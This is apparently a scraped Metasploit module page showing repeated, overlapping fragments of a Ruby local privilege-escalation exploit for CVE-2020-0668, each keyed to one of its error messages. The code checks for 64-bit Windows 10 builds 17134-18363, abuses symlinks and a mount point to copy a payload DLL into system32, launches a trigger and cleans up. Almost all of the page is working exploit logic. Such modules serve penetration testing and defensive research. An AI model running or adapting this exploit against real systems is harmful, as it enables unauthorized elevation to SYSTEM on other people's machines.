203:	    vprint_status("Collected Symlink Handle #{symlink_handle}")
204:	    handles.push(symlink_handle)
205:	
206:	    # write registry keys

Here is a relevant code snippet related to the "Closing symlink handle <HANDLE>: <ERRORMESSAGE>" error message:

225:	      remove_reg_value(entry)
226:	    end
227:	    print_status('Removing Symlinks')
228:	    handles.each do |handle|
229:	      result = session.railgun.kernel32.CloseHandle(handle)
230:	      vprint_status("Closing symlink handle #{handle}: #{result['ErrorMessage']}")
231:	    end
232:	    print_status('Removing Mountpoint')
233:	    delete_mount_point(exploit_dir, mount_point_handle)
234:	    print_status('Removing directories')
235:	    unless moved_md5 == upload_md5

Payload hashes do not match; filecopy failed.

Here is a relevant code snippet related to the "Payload hashes do not match; filecopy failed." error message:

231:	    end
232:	    print_status('Removing Mountpoint')
233:	    delete_mount_point(exploit_dir, mount_point_handle)
234:	    print_status('Removing directories')
235:	    unless moved_md5 == upload_md5
236:	      fail_with(Failure::Unknown, 'Payload hashes do not match; filecopy failed.')
237:	    end
238:	  end
239:	
240:	  def exploit
241:	    validate_target

<TARGET_PAYLOAD_PATHNAME> already exists

Here is a relevant code snippet related to the "<TARGET_PAYLOAD_PATHNAME> already exists" error message:

242:	    validate_active_host
243:	    # dll should not already exist
244:	    win_dir = session.sys.config.getenv('windir')
245:	    target_payload_pathname = "#{win_dir}\\system32\\WindowsCoreDeviceInfo.dll"
246:	    if file?(target_payload_pathname)
247:	      print_warning("#{target_payload_pathname} already exists")
248:	      print_warning('If it is in use, the overwrite will fail')
249:	      unless datastore['OVERWRITE_DLL']
250:	        print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')
251:	        fail_with(Failure::BadConfig, "#{target_payload_pathname} already exists and OVERWRITE_DLL option is false")
252:	      end

If it is in use, the overwrite will fail

Here is a relevant code snippet related to the "If it is in use, the overwrite will fail" error message:

243:	    # dll should not already exist
244:	    win_dir = session.sys.config.getenv('windir')
245:	    target_payload_pathname = "#{win_dir}\\system32\\WindowsCoreDeviceInfo.dll"
246:	    if file?(target_payload_pathname)
247:	      print_warning("#{target_payload_pathname} already exists")
248:	      print_warning('If it is in use, the overwrite will fail')
249:	      unless datastore['OVERWRITE_DLL']
250:	        print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')
251:	        fail_with(Failure::BadConfig, "#{target_payload_pathname} already exists and OVERWRITE_DLL option is false")
252:	      end
253:	    end

Change OVERWRITE_DLL option to true if you would like to proceed.

Here is a relevant code snippet related to the "Change OVERWRITE_DLL option to true if you would like to proceed." error message:

245:	    target_payload_pathname = "#{win_dir}\\system32\\WindowsCoreDeviceInfo.dll"
246:	    if file?(target_payload_pathname)
247:	      print_warning("#{target_payload_pathname} already exists")
248:	      print_warning('If it is in use, the overwrite will fail')
249:	      unless datastore['OVERWRITE_DLL']
250:	        print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')
251:	        fail_with(Failure::BadConfig, "#{target_payload_pathname} already exists and OVERWRITE_DLL option is false")
252:	      end
253:	    end
254:	
255:	    # set up variables

<TARGET_PAYLOAD_PATHNAME> already exists and OVERWRITE_DLL option is false

Here is a relevant code snippet related to the "<TARGET_PAYLOAD_PATHNAME> already exists and OVERWRITE_DLL option is false" error message:

246:	    if file?(target_payload_pathname)
247:	      print_warning("#{target_payload_pathname} already exists")
248:	      print_warning('If it is in use, the overwrite will fail')
249:	      unless datastore['OVERWRITE_DLL']
250:	        print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')
251:	        fail_with(Failure::BadConfig, "#{target_payload_pathname} already exists and OVERWRITE_DLL option is false")
252:	      end
253:	    end
254:	
255:	    # set up variables
256:	    temp_dir = session.sys.config.getenv('TEMP')

Manual cleanup after reboot required for <TARGET_PAYLOAD_PATHNAME> and <EXPLOIT_DIR>

Here is a relevant code snippet related to the "Manual cleanup after reboot required for <TARGET_PAYLOAD_PATHNAME> and <EXPLOIT_DIR>" error message:

262:	    # start file copy
263:	    rastapi_privileged_filecopy(payload_dll, exploit_dir, upload_payload_pathname, target_payload_pathname)
264:	
265:	    # launch trigger
266:	    launch_dll_trigger
267:	    print_warning("Manual cleanup after reboot required for #{target_payload_pathname} and #{exploit_dir}")
268:	    print_status('Exploit complete.  It may take up to 10 minutes to get a session')
269:	  end
270:	
271:	  def validate_active_host
272:	    print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")

Exploit code is 64-bit only

Here is a relevant code snippet related to the "Exploit code is 64-bit only" error message:

275:	    raise Msf::Exploit::Failed, 'Could not connect to session'
276:	  end
277:	
278:	  def validate_target
279:	    unless sysinfo['Architecture'] == ARCH_X64
280:	      fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
281:	    end
282:	
283:	    if session.arch == ARCH_X86
284:	      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
285:	    end

Running against WOW64 is not supported

Here is a relevant code snippet related to the "Running against WOW64 is not supported" error message:

279:	    unless sysinfo['Architecture'] == ARCH_X64
280:	      fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
281:	    end
282:	
283:	    if session.arch == ARCH_X86
284:	      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
285:	    end
286:	
287:	    sysinfo_value = sysinfo['OS']
288:	    build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
289:	    vprint_status("Build Number = #{build_num}")

The exploit only supports Windows 10 build versions 17134-18363

Here is a relevant code snippet related to the "The exploit only supports Windows 10 build versions 17134-18363" error message:

286:	
287:	    sysinfo_value = sysinfo['OS']
288:	    build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
289:	    vprint_status("Build Number = #{build_num}")
290:	    unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 18363)
291:	      fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17134-18363')
292:	    end
293:	  end
294:	
295:	  def launch_rasdialer(upload_phonebook_pathname)
296:	    local_phonebook_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2020-0668', 'phonebook.txt')

Failed to upload phonebook

Here is a relevant code snippet related to the "Failed to upload phonebook" error message:

297:	    ensure_clean_destination(upload_phonebook_pathname)
298:	    vprint_status("Uploading phonebook to #{sysinfo['Computer']} as #{upload_phonebook_pathname} from #{local_phonebook_path}")
299:	    begin
300:	      upload_file(upload_phonebook_pathname, local_phonebook_path)
301:	    rescue Rex::Post::Meterpreter::RequestError
302:	      print_error('Failed to upload phonebook')
303:	      return nil
304:	    end
305:	    print_status("Phonebook uploaded on #{sysinfo['Computer']} to #{upload_phonebook_pathname}")
306:	
307:	    # Launch RASDIAL

Unable to delete <PATH>

Here is a relevant code snippet related to the "Unable to delete <PATH>" error message:

317:	
318:	    print_status("#{path} already exists on the target. Deleting...")
319:	    begin
320:	      file_rm(path)
321:	      print_status("Deleted #{path}")
322:	    rescue Rex::Post::Meterpreter::RequestError => e
323:	      elog(e)
324:	      print_error("Unable to delete #{path}")
325:	    end
326:	  end
327:	end

Go back to menu.

References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • itm4n
  • bwatters-r7

Version

This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.